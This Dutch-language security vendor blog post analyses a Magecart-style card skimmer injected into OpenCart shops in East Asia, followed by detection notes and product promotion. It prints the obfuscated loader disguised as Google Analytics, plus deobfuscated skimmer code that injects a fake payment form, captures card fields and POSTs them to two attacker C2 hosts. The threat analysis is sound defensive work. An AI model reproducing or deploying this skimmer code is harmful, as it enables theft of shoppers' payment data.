Skip to main content
Blog
Blog

Magecart richt zich op Oost-Aziatische e-commercewebsites op OpenCart

We hebben een Magecart-achtige aanval gedetecteerd gericht op het OpenCart CMS-platform

Jul 15, 2025 6 min read
banner-of-this-article-on-black-and-blue-background

Kort samengevat: OpenCart-overlay met nep-checkout en dubbele C2-skimmer

  • Het vergeten platform: Magento krijgt alle Magecart-aandacht. OpenCart draait duizenden Oost-Aziatische shops met bijna niets ervan, en precies daarom leefde deze campagne daar. Aanvallers verhuizen naar het platform dat je leverancierslijst vergat.
  • Hoe het werkte: Het geïnjecteerde script deed zich voor als Google Analytics of Tag Manager, decodeerde Base64 naar /tagscart[.]shop/cdn/analytics.min.js, verstopte het echte betaalformulier, verving het en POSTte kaartdata naar zowel ultracart[.]shop als hxjet.pics als dubbele C2. cside markeert afwijkend scriptgedrag zoals GA-imiterende loaders die vanuit ongebruikelijke domeinen laden voordat de checkout rendert.
  • Doe dit nu: Draai je OpenCart of een niet-Magento cart voor Oost-Aziatisch verkeer, ga er dan niet vanuit dat Magecart je overslaat. Zet deze week runtime-scriptinspectie voor de checkout, of ontdek de skimmer maanden later als er een afschrijving van €47,80 bij een onbekende verkoper binnenkomt.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

We hebben een Magecart-achtige aanval gedetecteerd gericht op het OpenCart CMS-platform. De campagne lijkt zich te richten op e-commercewebsites in Oost-Azië. Magecart is een term die synoniem is geworden voor client-side aanvallen, afkomstig van Magento+ Cart.

Hoe de scriptinjectie-aanval plaatsvond

Het kwaadaardige script wordt rechtstreeks in de landingspagina van de website geïnjecteerd. Het is verborgen tussen legitieme third-party integraties zoals Facebook Pixel, Meta Pixel en Google Tag Manager. Typisch gedrag voor een client-side aanval.

Hier is het fragment dat de geïnjecteerde malware bevatte:

<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
    i['Google'+'Analytics'+'Objects']=r;
    a=s.createElement(g), m=s.getElementsByTagName(g)[0];
    if(i.location['href'].indexOf(i.atob(r)) > 0){
        a.async=1;
        a.src=''+i.atob(o);
        m.parentNode['insertBefore'](a,m);
        r=1;
    }
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->

Op het eerste gezicht ziet het eruit als een normale Google Analytics- of Tag Manager-integratie, maar dat is het niet.

De Base64-gedecodeerde payload verwijst naar:

/tagscart[.]shop/cdn/analytics.min.js

Zodra dit script wordt geladen:

  1. Het maakt een <script>-element aan.
  2. Stelt de src in op de kwaadaardige analytics.min.js.
  3. Injecteert zichzelf in de pagina vóór bestaande scripttags.

Gedrag van het kwaadaardige script

Het script van /tagscart[.]shop/cdn/analytics.min.js was sterk geobfusceerd.

Enkele gebruikte technieken:

  • Hexadecimale tekenreferenties (0x...-indexering)
  • Array-splitsing en dynamische hercombinatie (.split('|'))
  • Gevaarlijk gebruik van eval() om dynamisch gedecodeerde code uit te voeren
  • Stille uitvoering via try { onLoad(); } catch {}

Na deobfuscatie

De belangrijkste onderdelen:

// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php';  // Kwaadaardige C2-server
var sAdsUrl2 = '//hxjet.pics/g.php';       // Back-up C2-server

// #################### FAKE FORM INJECTION ####################
// Standaard injectie in het afrekenproces
function onTimerStd() {
    // ... (weggelaten voor de leesbaarheid)
    var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Nep betaalformulier HTML --> </div>';
    vTargetBlocks.insertAdjacentHTML('beforeend', sHtml);  // Injecteer nep formulier

    // Invoermaskeringsinstelling
    (new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
        mask: "9999 9999 9999 99999999",  // Creditcardopmaak
        placeHolder: "Valid Card Number"
    });
    // ... vergelijkbaar voor datum- en CVC-velden
}

// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Koppel listeners aan betaalvelden
for (var i = 0; i < vPaymentElements.length; ++i) {
    var hEl = document.getElementsByName(vPaymentElements[i])[0];
    if (hEl) {
        hEl.addEventListener('blur', mainListener);  // Vastleggen wanneer focus het veld verlaat
        hEl.addEventListener('keydown', mainListener);  // Toetsaanslagen vastleggen
        hEl.addEventListener('paste', mainListener);  // Geplakte gegevens vastleggen
    }
}

// #################### DATA VALIDATION ####################
function mainListener(e) {
    var iCodeLength = 3;
    try {
        if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
            iCodeLength = 4  // Validatie aanpassen voor Amex-kaarten
    } catch (e) {}



    // Validatiecontroles vóór exfiltratie
    if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
        return;  // Minimale CVC-lengte vereist
    if (document.getElementsByName('payment[date]')[0].value.length < 7)
        return;  // Volledige vervaldatum vereist

    // ... (logica voor gegevensexfiltratie)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
    var xmlhttp = getXmlHttp();
    xmlhttp.open('POST', sUrl, true);
    xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}

function mainListener(e) {
    // ... (validatiecontroles)
    var sDump = JSON.stringify({
        "u": window.location.href,  // Huidige URL vastleggen
        "f": vData  // Gestolen formuliergegevens
    });
    sDump = Base64.encode(sDump);  // Gegevens coderen
    iMethod = 1;
    sendData(sAdsUrl1, sDump);  // Versturen naar eerste C2
    sendData(sAdsUrl2, sDump);  // Versturen naar back-up C2
}

// #################### FORM HIDING ####################
function onTimerStd() {
    // ... (na injectie)
    var hDiv = document.getElementById('ccAq1TBAY_form_main');
    if (hDiv != null) {
        hDiv.style.display = 'none'  // Origineel betaalformulier verbergen
    }
    // ... (nep formulier tonen)
}

Kwaadaardige functionaliteit

  • Injectie van nep betaalformulier: Er wordt dynamisch een nep creditcardformulier aangemaakt (HTML + CSS).
  • Het nep formulier wordt geïnjecteerd op afrekenpagina's.
  • Logica voor gegevensverzameling:
    • Het bewaakt gebruikersinvoer in velden zoals:payment[cc_number]
    • payment[date]
    • payment[cc_cid]
  • Het luistert naar blur-, paste- en keydown-events.
  • Validatie vóór exfiltratie:
    • Controleert of de kaartvelden er geldig uitzien (bijv. CVC-lengte, formaat vervaldatum).
  • Exfiltratie via POST-verzoek:
    • Na validatie worden de gegevens Base64-gecodeerd en vastgelegd (inclusief de huidige pagina-URL) en verstuurd naar://ultracart[.]shop/g.php
    • //hxjet.pics/g.php
  • Formulier verbergen en vervangen:
    • Het originele betaalformulier wordt verborgen.
    • Het nep formulier wordt getoond, opgemaakt om legitiem te lijken.
  • Invoermaskering:
    • Implementeert een aangepaste InputMask om invoer er "professioneel" uit te laten zien (bijv. automatische opmaak van creditcardnummers).
  • Onverwacht gedrag

    Anders dan bij sommige traditionele Magecart-aanvallen kopieert dit third-party script niet vanuit het klembord. Gebruikers worden gedwongen om kaartgegevens handmatig in te voeren. Na het invoeren van de kaartgegevens worden deze onmiddellijk naar de server van de aanvaller verstuurd. Vervolgens wordt het kaartbetaalformulier verborgen en wordt de gebruiker gevraagd banktransactiegegevens in te voeren om aanvullende gevoelige informatie vast te leggen.

    Nep betaalpagina

    Nep OpenCart-checkoutpagina die de kaartgegevens van het slachtoffer buitmaakt

    Nep betaalpagina na kaartinvoer, met weergave van de bankgegevenspagina

    Nep bankgegevenspagina die na kaartinvoer wordt getoond om meer gevoelige gegevens vast te leggen

    Onderschept POST-verzoek naar C2

    Onderschept POST-verzoek dat de gestolen gegevens naar de C2-server exfiltreert

    Geposte Base64-gegevens

    In Base64 gecodeerde gestolen kaartgegevens zoals verstuurd naar de C2-server

    Gedecodeerde payload

    Gedecodeerde payload met de buitgemaakte betaalgegevens

    Hoe we het gebruik monitoren

    Om de aanval te volgen en te zien hoe de gegevens worden beheerd, gebruikt of verkocht, maken we gebruik van canary tokens. Dit is wat we vonden:

    In de meeste gevallen zien we binnen enkele dagen gebruik van de gestolen kaart. Hier duurde het echter meerdere maanden.

    In dit voorbeeld zagen we twee transacties. De eerste was een telefonische betaaltransactie vanuit de VS op 18 juni.

    Canary-tokenregistratie van de eerste frauduleuze transactie, een telefonische betaling vanuit de VS op 18 juni

    Een tweede transactie werd gedaan voor €47,80 bij een onbekende verkoper.

    Registratie van de tweede frauduleuze transactie, €47,80 bij een onbekende verkoper

    Het volgen van deze aanvallen geeft ons een beter inzicht in wie erachter zit en hoe deze campagnes zich ontwikkelen.

    Ons detectieplatform heeft deze aanval gemarkeerd op basis van een combinatie van:

    • Afwijkend scriptgedrag: Scripts die zich voordoen als legitiem (Google Analytics / GTM) maar die laden vanaf ongebruikelijke domeinen.
    • Geobfusceerde JavaScript-patronen: Gebruik van dynamische eval, Base64-decodering en verdachte arraymanipulatie.
    • Detectie van formuliervervanging: Bewaking op geïnjecteerde nep formulieren in bekende afrekenprocessen.

    Monitoring van dreigingsdomeinen: tagscart[.]shop, ultracart[.]shop en hxjet[.]pics waren al gemarkeerd in onze threat intelligence feeds

    Slotopmerkingen

    Bij cside monitoren we continu third-party scripts en webassets om client-side aanvallen zoals deze te detecteren en te voorkomen.

    Ons detectieplatform is ontworpen om:

    • Ongeautoriseerde scriptinjecties te identificeren
    • Verdacht gedrag in realtime te analyseren
    • Aanvallen te blokkeren voordat gevoelige klantgegevens kunnen worden gestolen

    We helpen bedrijven het vertrouwen van klanten te beschermen door voorop te blijven lopen op steeds evoluerende client-side dreigingen.

    Himanshu Anand
    Software Engineer

    I'm a software engineer and security analyst.

    Monitor en beveilig je third-party scripts

    Gain full visibility and control over every script delivered to your users to enhance site security and performance.

    Start gratis, of probeer Business met een proefperiode van 14 dagen.

    cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
    Related Articles
    Boek een demo

    Wil je dit doornemen met een engineer?

    Dertig minuten, op je eigen site. Geen slides.

    We laten je zien:

    Welke scripts van derden er nu op je site draaien
    Hoe je ervoor staat op PCI DSS 6.4.3 en 11.6.1
    Welk deel van je verkeer uit bots en AI-agents bestaat

    Liever gewoon een vraag stellen?

    Vrije momenten zoeken…

    Alleen echte mensen. Wij merken het.

    Lukt het boeken niet? Agenda in een nieuw tabblad openen

    Wat wil je oplossen?

    Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

    Waar we meestal mee helpen:

    Zien welke scripts van derden op je site draaien
    Bewijs voor PCI DSS 6.4.3 en 11.6.1
    Bots, AI-agents en accountovername

    Liever meteen een moment inplannen? Kies een tijdstip